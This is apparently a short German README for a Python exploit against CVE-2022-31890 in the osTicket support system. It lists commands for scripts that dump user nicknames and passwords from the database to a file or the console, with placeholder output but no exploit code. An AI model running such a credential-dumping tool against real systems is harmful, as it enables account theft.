
Python-basierter Exploit für CVE-2022-31890 im osTicket-Support-Ticket-System, der das Auslesen von Anmeldedaten über Nickname- und Passwort-Enumeration-Skripte ermöglicht.
Nickname:
> python nickname.py
# The output of the first nickname in the table.
Passwort:
> python password.py
# The output of the first password in the table.
Ausgabe in Datei:
> python dumpFile.py
> cat dump.txt || {{nickname}}::{{password}}
Ausgabe in Konsole:
> python dumpConsole.py
# Output to console || {{nickname}}::{{password}}